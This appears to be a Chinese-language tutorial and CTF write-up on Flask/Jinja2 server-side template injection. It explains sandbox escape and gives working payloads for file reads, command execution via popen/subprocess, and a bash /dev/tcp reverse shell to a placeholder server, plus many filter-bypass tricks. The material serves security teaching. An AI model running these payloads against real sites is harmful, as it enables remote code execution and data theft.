文章目录
- 一、前置知识
- 1.1 模板引擎
- 1.2 渲染
- 二、SSTI模板注入
- 2.1 原理
- 2.2 沙箱逃逸
- 沙箱逃逸payload讲解
- 其他重要payload
- 2.3 过滤绕过
- 点`.`被过滤
- 下划线`_`被过滤
- 单双引号`' "`被过滤
- 中括号`[]`被过滤
- 关键字被过滤
- 三、PasecaCTF-2019-Web-Flask SSTI
- 参考文献
一、前置知识
1.1 模板引擎
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。
Flask
是一个 web 框架,Jinja2
是模板引擎。
模板引擎判断
绿色为执行成功,红色为执行失败。
1.2 渲染
- 前端渲染( SPA , 单页面应用 )
浏览器从服务器得到一些信息( 可能是 JSON 等各种数据交换格式所封装的数据包 , 也可能是合法的 HTML 字符串 ),浏览器将这些信息排列组合成人类可读的 HTML 字符串 . 然后解析为最终的 HTML 页面呈现给用户。整个过程都是由客户端浏览器完成的 , 因此对服务器后端的压力较小 , 仅需要传输数据即可。也就是说服务端只发送用户所需数据,浏览器负责将这部分数据排列成人类可读的HTML字符串。
- 后端渲染( SSR , 服务器渲染 )
浏览器会直接接收到经过服务器计算并排列组合后的 HTML 字符串 , 浏览器仅需要将字符串解析为呈现给用户的 HTML 页面就可以了 。整个过程都是由服务器完成的 , 因此对客户端浏览器的压力较小 , 大部分任务都在服务器端完成了 , 浏览器仅需要解析并呈现 HTML 页面即可。也就是说服务端将用户所需的数据排列成人类可读的HTML字符串了,浏览器只需对传输的数据解码就可以用了。
Flask中的重要渲染函数:render_template()
和render_template_string()
。
Jinja2模板语法:
{% ... %} //声明变量,当然也可以用于循环语句和条件语句。
{{ ... }} //用于将表达式打印到模板输出
{{...}}={%print(...)%}
二、SSTI模板注入
2.1 原理
漏洞成因:服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。
举一个栗子,下面是后端代码:
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
name
变量完全可控,那么写入Jinja2
模板语言:
这大概就是SSTI模板注入,使用{{....}}
的方式测试参数,可以用来判断是否存在SSTI模板注入。
2.2 沙箱逃逸
在上述代码中,虽然理论上可以实现任意代码执行,但由于模板本身的沙盒安全机制,某些语句并不会执行,如直接name={{os.popen(%27dir%27)}}
。沙盒逃逸的过程简单讲如下:
变量类型 → \rightarrow →找到所属类型 → \rightarrow →回溯基类 → \rightarrow →寻找可利用子类 → \rightarrow →最终payload
一些内建魔术方法如下:
__class__
:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。>>> ''.__class__ <type 'str'> >>> ().__class__ <type 'tuple'> >>> [].__class__ <type 'list'> >>> {}.__class__ <type 'dict'>
__bases__
:用来查看类的基类,也可是使用数组索引来查看特定位置的值。>>> ().__class__.__bases__ (<type 'object'>,) >>> ''.__class__.__bases__ (<type 'basestring'>,) >>> [].__class__.__bases__ (<type 'object'>,) >>> {}.__class__.__bases__ (<type 'object'>,) >>> [].__class__.__bases__[0] <type 'object'>
__mro__
:也可以获取基类>>> ''.__class__.__mro__ (<class 'str'>, <class 'object'>) >>> [].__class__.__mro__ (<class 'list'>, <class 'object'>) >>> {}.__class__.__mro__ (<class 'dict'>, <class 'object'>) >>> ().__class__.__mro__ (<class 'tuple'>, <class 'object'>) >>> ().__class__.__mro__[1] # 使用索引就能获取基类了 <class 'object'>
__subclasses__()
:以列表返回类的子类_globals__
:以dict返回函数所在模块命名空间中的所有变量
沙箱逃逸payload讲解
以下面的payload为例详细阐述沙箱逃逸的思路。{{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').popen('type flag.txt').read()")}}
核心思想:核心在于python中类的继承与被继承的关系,通过这种关系的查找合适的类,找到合适的类后利用该类中的函数或者模块去调用与读取文件相关的函数或命令,上述payload中获取flag或者重要文件信息的关键是
eval("__import__('os').popen('type flag.txt').read()")
-
除了标准的python语法使用
.
访问变量属性外,还可以使用[]
来访问变量属性。 -
''.__class__
:__class__
是类中的一个内置属性,值是该实例的对应的类。这里使用的是’'.class,得到的则是空字符串这个实例对应的类,也就是字符类。这样操作的意义是将我们现在操作的对象切换到类上面去,这样才能进行之后继承与被继承的操作。也可以使用()/[]/{}
。
-
''.__class__.__base__
:__base__
也是类中的一个内置属性,值当前类的父类,而在python中object是一切类最顶层的父类,也就是说我们可以通过上一步获取到的类往上获取(一般数据类型的上一层父类中便有object),最终便会获取到object,而由于object的特殊性,我们便能从object往下获取到其他所有的类,其中便有着能实现我们读取flag功能的类。
其他类似功能的还有
__bases__
(返回值是数组,__base__
返回值是一个值)、__mro__
,但返回的数据包含类的元组,所以还需要下标选定object类)。 -
''.__class__.__base__.__subclasses__()
:__subclasses__ ()
是类中的一个内置方法,返回值是包含当前类所有子类的一个列表,通过上一步获取到的object类
我们实现了向下获取,接着我们需要在这些子类中获取合适的类。
-
''.__class__.__base__.__subclasses__()[80].__init__
:__init__
是类中的内置方法,在这个类实例化是自动被调用,但是返回值只能是None,且在调用时必须传入该类的实例对象。如果我们不去调用它,此时我们获得的是我们选取的类中的__init__这个函数。由于python一切皆对象的特性,函数本质上也是对象,也存在类中的一些内置方法和内置属性,所以我们可以执行接下来的操作。
常用的可利用的类:
<class 'os._wrap_close'>
、<class 'subprocess.Popen'>
-
''.__class__.__base__.__subclasses__()[80].__init__.__globals__
:__globals__
是函数中的一个内置属性,以字典的形式返回当前空间的全局变量,而其中就能找到我们需要的目标模块__builtins__
。
注意:并不是每个类的
__init__
都拥有__globals__
属性,找__init__
中拥有__globals__
属性的类的原因是:__builtins__
模块中有很多我们常用的内置函数和类,其中就有eval()
函数。
其他重要payload
-
作为储存配置信息的变量
config
刚好对应的就是一个非常合适的类,{{config}}
查看配置信息
因为这个类中__init__
函数全局变量中已经导入了os
模块,我们可以直接调用。{{config.__class__.__init__.__globals__['os'].popen('type flag.txt').read()}}
-
读取文件payload
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
object
类的子类是<type 'file'>
-
任意代码执行(获取
popen
方法)<class 'os._wrap_close'>
''.__class__.__bases__[2].__subclasses__()[71].__init__.__globals__.popen('ls').read() //这个可以用 # 反弹shell ''.__class__.__bases__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()
<class 'subprocess.Popen'>
().__class__.__bases__[1].__subclasses__()[407]("cat /flag",shell=True,stdout=-1).communicate()[0]
subprocess.popen(conmand, shell=true, stdout=-1)
用于执行外部命令。
当stdout=-1
时,表示将子进程的标准输出重定向到标准错误输出(stderr),这意味着子进程的标准输出将与标准错误输出合并,并以标准错误输出的方式处理。也就是说后续使用communicate
获取输出的时候,拿到的是标准输出和标准错误输出的一个列表。shell=True
表示通过shell来执行命令。subprocess.popen.communicate()
:获取执行命令后的输出。
- 通过
lipsum
获取popen方法?name={{lipsum.__globals__.os.popen(request.values.a).read()}}&a=cat /flag}} ?name={{lipsum.__globals__.__builtins__.open(/flag).read()}}
-
{{request.environ}}
,一个与服务器环境相关的对象字典 .
2.3 过滤绕过
点.
被过滤
"".__class__ == ""["__class__"]
"".__class__ == (""|attr("__class__"))
"".__class__ == "".__getattribute__("__class__")
下划线_
被过滤
"__class__"=="\x5f\x5fclass\x5f\x5f" //UTF-8编码
"".__class__ == (""|attr(request.values.cmd))&cmd=__class__
# 例如原payload:
?name={{lipsum.__globals__.os.popen(request.values.a).read()}}&a=cat /flag
#改后的payload:
?name={{(lipsum | attr(request.values.a)).os.popen(request.values.b).read()}}&b=ls&a=__globals__
单双引号' "
被过滤
# 当单双引号被过滤后以下访问将被限制
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}
# 可以通过request.args的get传参输入引号内的内容,payload:
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.popen](request.args.cmd).read() }}&popen=popen&cmd=cat /flag
# 可以通过request.form的post传参输入引号内的内容,payload:
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.form.popen](request.form.cmd).read() }}
# 同时post传参?popen=popen&cmd=cat /flag
# 使用request.values进行传参,payload;
{{().__class__.__mro__[1].__subclasses__()[407](request.values.a,shell=True,stdout=-1).communicate()[0]}}&a=cat /flag }}
中括号[]
被过滤
# 当中括号被过滤时,如下将被限制访问
().__class__.__bases__[1].__subclasses__()[407]("cat /flag",shell=True,stdout=-1).communicate()[0]
# 可使用魔术方法__getitem__替换中括号[],payload如下:
().__class__.__bases__.__getitem__(1).__subclasses__().__getitem__(407)(request.values.a,shell=True,stdout=-1).communicate().__getitem__(0)}}&a=cat /flag
关键字被过滤
os
被过滤
#os被过滤,使用get()函数,获取字典中的值,如payload:
?name={{(lipsum | attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat ../flag
request
被过滤
#{{}}中的request被过滤,可能{%%}中的request没被过滤。print的前提是解析print里面的东西。
?name={%print((lipsum | attr(request.values.a)).get(request.values.b).popen(request.values.c).read())%}&a=__globals__&b=os&c=cat ../flag
- 数字被过滤
dict(e=a)|join|count #1
dict(ee=a)|join|count #2
-
构造字符
既然字符被过滤,我们就构造字符。-
()|select|string
()|select|string
得到的结果是:<generator object select_or_reject at 0x十六进制数字>
,如下图:
使用()|select|string|list
,将上述字符串转化为数组,数组元素为每一个字符。再使用pop()
函数提取其中的字符,如获取下划线()|select|string|list.pop(24)
这里或许不能用中括号进行遴选,因为中括号被过滤了~
-
字符拼接
# 使用+或~ ().__class__ == ()['__cl'+'ass__'] == {% set a='__cl' %}{% set b='ass__' %}{{()[a~b]}}(Jijia2) # dict() 与 join函数连用,连接字典的键 __class__ == (_,_,(dict(class=1)|join),_,_)|join # chr(),输入ASCII码,输出ASCII对应的字符
示例payload:
?name= {% set a=(()|select|string|list).pop(24) %} // a = _ {% set globals=(a,a,dict(globals=1)|join,a,a)|join %} // globals=__globals__ {% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %} // builtins=__builtins__ {% set a=(lipsum|attr(globals)).get(builtins) %} {% set chr=a.chr %} {% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}
-
三、PasecaCTF-2019-Web-Flask SSTI
登录靶机,输入1,页面又返回1,因为提示使用Flask框架,使用{{1+1}}
测试是否渲染引擎为Jinja2
。
说明此处存在SSTI模板注入,且框架为Flask,模板引擎
Jinja2
。
注释:
- jQuery是javascript的一个库,
$
号是jQuery类的一个别称,$()
构造了一个jQuery对象,$()
可以叫做jQuery的构造函数。$.post
语法:jQuery.post(url, data, success(data,textStatus,jqXHR), datatype)
,其中:
url
,规定把请求发送到哪个URL;data
,规定连同请求发送给服务器的数据;success(data,textStatus,jqXHR)
,请求成功时返回的回调函数;datatype
,规定预期服务器响应的数据类型。
测试发现过滤了. * _
使用UTF-8编码绕过过滤,{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"]}}
读取app.py文件,{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[117]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("ls")["read"]()}}
通过阅读代码,发现flag经过加密后放在app.config
中。app就是一个Flask对象,app.config存储这个Flask对象的所有配置变量。
{{config}}
查看配置变量,'flag': '(U0\x1fy\x13y:0Sq5(\x11F\x03o\x0fdB\x1c\x13[X!jYeN_\x10\x15'}
好,不会解密了。噶~
参考文献
- SSTI进阶
- SSTI漏洞利用及绕过总结(绕过姿势多样)